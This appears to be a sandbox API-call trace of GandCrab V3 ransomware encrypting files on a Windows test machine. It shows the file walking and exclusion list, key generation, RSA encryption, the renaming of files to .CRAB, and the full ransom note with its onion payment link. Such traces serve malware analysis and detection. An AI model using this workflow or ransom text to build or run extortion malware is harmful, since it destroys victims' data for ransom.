	[0108.313] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.319] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.373] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.376] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.376] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.378] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.381] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0108.386] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.395] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0108.409] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.412] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.412] WriteFile (in: hFile=0x3d4, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0108.414] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.417] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0xc7e13, lpOverlapped=0x0) returned 1
	[0108.424] VirtualAlloc (lpAddress=0x0, dwSize=0xc7e20, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.432] VirtualAlloc (lpAddress=0x0, dwSize=0xc7e20, flAllocationType=0x3000, flProtect=0x4) returned 0x3430000
	[0108.447] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.450] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff381ed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.450] WriteFile (in: hFile=0x3d4, lpBuffer=0x3430000*, nNumberOfBytesToWrite=0xc7e20, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3430000*, lpNumberOfBytesWritten=0x314df04*=0xc7e20, lpOverlapped=0x0) returned 1
	[0108.452] VirtualFree (lpAddress=0x3430000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.455] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.459] WriteFile (in: hFile=0x3d4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0108.459] WriteFile (in: hFile=0x3d4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0108.459] WriteFile (in: hFile=0x3d4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0108.459] CloseHandle (hObject=0x3d4) returned 1
	[0108.641] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.641] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.642] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.642] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.642] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.642] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0
	[0108.642] FindClose (in: hFindFile=0xd48280 | out: hFindFile=0xd48280) returned 1
	[0108.642] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0108.642] FindClose (in: hFindFile=0xd47ec0 | out: hFindFile=0xd47ec0) returned 1
	[0108.642] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0108.642] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1
	[0108.642] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1
	[0108.642] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys"
	[0108.642] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.643] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\swapfile.sys") returned 15
	[0108.643] lstrlenW (lpString="C:\\swapfile.sys") returned 15
	[0108.643] lstrlenW (lpString=".sys") returned 4
	[0108.643] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.643] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sys ") returned 5
	[0108.643] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.643] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.643] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0108.643] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1
	[0108.643] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1
	[0108.643] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information"
	[0108.643] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\"
	[0108.643] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.643] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.644] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.644] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.644] lstrcmpiW (lpString1="C:\\System Volume Information\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.644] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.644] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.644] lstrcmpiW (lpString1="C:\\System Volume Information\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.644] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.644] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\System Volume Information\\\\CRAB-DECRYPT.txt") returned 46
	[0108.644] CreateFileW (lpFileName="C:\\System Volume Information\\\\CRAB-DECRYPT.txt" (normalized: "c:\\system volume information\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0108.644] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.644] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0108.645] CloseHandle (hObject=0x3d0) returned 1
	[0108.645] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.645] lstrlenW (lpString="C:\\System Volume Information\\") returned 29
	[0108.645] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*"
	[0108.645] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd80360
	[0108.645] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.645] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.646] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.646] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.646] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.646] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.646] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.646] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\System Volume Information\\CRAB-DECRYPT.txt") returned="C:\\System Volume Information\\CRAB-DECRYPT.txt"
	[0108.646] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.646] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\System Volume Information\\CRAB-DECRYPT.txt") returned 45
	[0108.646] lstrlenW (lpString="C:\\System Volume Information\\CRAB-DECRYPT.txt") returned 45
	[0108.646] lstrlenW (lpString=".txt") returned 4
	[0108.646] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.646] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.646] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.646] lstrlenW (lpString="C:\\System Volume Information\\CRAB-DECRYPT.txt") returned 45
	[0108.646] lstrlenW (lpString="C:\\System Volume Information\\CRAB-DECRYPT.txt") returned 45
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.646] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.647] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.647] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.647] lstrcmpW (lpString1="IndexerVolumeGuid", lpString2=".") returned 1
	[0108.647] lstrcmpW (lpString1="IndexerVolumeGuid", lpString2="..") returned 1
	[0108.647] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="IndexerVolumeGuid" | out: lpString1="C:\\System Volume Information\\IndexerVolumeGuid") returned="C:\\System Volume Information\\IndexerVolumeGuid"
	[0108.647] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.647] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\System Volume Information\\IndexerVolumeGuid") returned 46
	[0108.647] lstrlenW (lpString="C:\\System Volume Information\\IndexerVolumeGuid") returned 46
	[0108.647] lstrlenW (lpString="C:\\System Volume Information\\IndexerVolumeGuid") returned 46
	[0108.647] lstrlenW (lpString="C:\\System Volume Information\\IndexerVolumeGuid") returned 46
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="desktop.ini") returned 1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="autorun.inf") returned 1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="ntuser.dat") returned -1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="iconcache.db") returned 1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="bootsect.bak") returned 1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="boot.ini") returned 1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="ntuser.dat.log") returned -1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="thumbs.db") returned -1
	[0108.647] lstrcmpiW (lpString1="IndexerVolumeGuid", lpString2="CRAB-DECRYPT.txt") returned 1
	[0108.647] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.647] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\System Volume Information\\IndexerVolumeGuid.CRAB") returned 51
	[0108.647] GetFileAttributesW (lpFileName="C:\\System Volume Information\\IndexerVolumeGuid" (normalized: "c:\\system volume information\\indexervolumeguid")) returned 0x20
	[0108.648] SetFileAttributesW (lpFileName="C:\\System Volume Information\\IndexerVolumeGuid", dwFileAttributes=0x20) returned 1
	[0108.648] MoveFileW (lpExistingFileName="C:\\System Volume Information\\IndexerVolumeGuid" (normalized: "c:\\system volume information\\indexervolumeguid"), lpNewFileName="C:\\System Volume Information\\IndexerVolumeGuid.CRAB" (normalized: "c:\\system volume information\\indexervolumeguid.crab")) returned 1
	[0108.648] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.648] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\System Volume Information\\IndexerVolumeGuid.CRAB" | out: lpString1="C:\\System Volume Information\\IndexerVolumeGuid.CRAB") returned="C:\\System Volume Information\\IndexerVolumeGuid.CRAB"
	[0108.648] lstrcatW (in: lpString1="C:\\System Volume Information\\IndexerVolumeGuid.CRAB", lpString2=".CRAB" | out: lpString1="C:\\System Volume Information\\IndexerVolumeGuid.CRAB.CRAB") returned="C:\\System Volume Information\\IndexerVolumeGuid.CRAB.CRAB"
	[0108.649] CryptAcquireContextW (in: phProv=0x314e828, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e828*=0xd6e408) returned 1
	[0108.649] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.649] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.649] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314e964 | out: pbBuffer=0x314e964) returned 1
	[0108.649] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.649] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.649] CryptAcquireContextW (in: phProv=0x314e828, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e828*=0xd6e6b0) returned 1
	[0108.650] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.650] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.650] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314e940 | out: pbBuffer=0x314e940) returned 1
	[0108.650] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0108.650] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.650] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.651] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.651] CryptAcquireContextW (in: phProv=0x314e818, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e818*=0xd6e9e0) returned 1
	[0108.651] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314e814 | out: phKey=0x314e814*=0xd803e0) returned 1
	[0108.651] CryptGetKeyParam (in: hKey=0xd803e0, dwParam=0x8, pbData=0x314e804, pdwDataLen=0x314e80c, dwFlags=0x0 | out: pbData=0x314e804*=0x800, pdwDataLen=0x314e80c*=0x4) returned 1
	[0108.651] CryptEncrypt (in: hKey=0xd803e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314e974*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314e974*=0x100) returned 1
	[0108.651] GetLastError () returned 0x0
	[0108.651] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0108.651] CryptAcquireContextW (in: phProv=0x314e818, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314e818*=0xd6e408) returned 1
	[0108.652] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314e814 | out: phKey=0x314e814*=0xd7ff60) returned 1
	[0108.652] CryptGetKeyParam (in: hKey=0xd7ff60, dwParam=0x8, pbData=0x314e804, pdwDataLen=0x314e80c, dwFlags=0x0 | out: pbData=0x314e804*=0x800, pdwDataLen=0x314e80c*=0x4) returned 1
	[0108.652] CryptEncrypt (in: hKey=0xd7ff60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314e978*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314e978*=0x100) returned 1
	[0108.652] GetLastError () returned 0x0
	[0108.652] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.652] CreateFileW (lpFileName="C:\\System Volume Information\\IndexerVolumeGuid.CRAB" (normalized: "c:\\system volume information\\indexervolumeguid.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0108.652] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.652] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.653] ReadFile (in: hFile=0x3b0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314e9bc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314e9bc*=0x4c, lpOverlapped=0x0) returned 1
	[0108.662] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.662] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.662] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.662] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xffffffb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.662] WriteFile (in: hFile=0x3b0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314e9ac*=0x50, lpOverlapped=0x0) returned 1
	[0108.662] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.663] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.665] WriteFile (in: hFile=0x3b0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314e9ac*=0x100, lpOverlapped=0x0) returned 1
	[0108.665] WriteFile (in: hFile=0x3b0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314e9ac*=0x100, lpOverlapped=0x0) returned 1
	[0108.667] WriteFile (in: hFile=0x3b0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314e9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314e9ac*=0x8, lpOverlapped=0x0) returned 1
	[0108.667] CloseHandle (hObject=0x3b0) returned 1
	[0108.668] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.668] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.668] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.668] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.668] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.669] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.669] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.669] lstrcmpW (lpString1="MountPointManagerRemoteDatabase", lpString2=".") returned 1
	[0108.669] lstrcmpW (lpString1="MountPointManagerRemoteDatabase", lpString2="..") returned 1
	[0108.669] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="MountPointManagerRemoteDatabase" | out: lpString1="C:\\System Volume Information\\MountPointManagerRemoteDatabase") returned="C:\\System Volume Information\\MountPointManagerRemoteDatabase"
	[0108.669] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.669] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\System Volume Information\\MountPointManagerRemoteDatabase") returned 60
	[0108.669] lstrlenW (lpString="C:\\System Volume Information\\MountPointManagerRemoteDatabase") returned 60
	[0108.669] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.669] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0108.669] lstrcmpW (lpString1="tracking.log", lpString2=".") returned 1
	[0108.669] lstrcmpW (lpString1="tracking.log", lpString2="..") returned 1
	[0108.669] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="tracking.log" | out: lpString1="C:\\System Volume Information\\tracking.log") returned="C:\\System Volume Information\\tracking.log"
	[0108.669] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.670] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\System Volume Information\\tracking.log") returned 41
	[0108.670] lstrlenW (lpString="C:\\System Volume Information\\tracking.log") returned 41
	[0108.670] lstrlenW (lpString=".log") returned 4
	[0108.670] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.670] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".log ") returned 5
	[0108.670] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.670] lstrlenW (lpString="C:\\System Volume Information\\tracking.log") returned 41
	[0108.670] lstrlenW (lpString="C:\\System Volume Information\\tracking.log") returned 41
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="desktop.ini") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="autorun.inf") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="ntuser.dat") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="iconcache.db") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="bootsect.bak") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="boot.ini") returned 1
	[0108.670] lstrcmpiW (lpString1="tracking.log", lpString2="ntuser.dat.log") returned 1
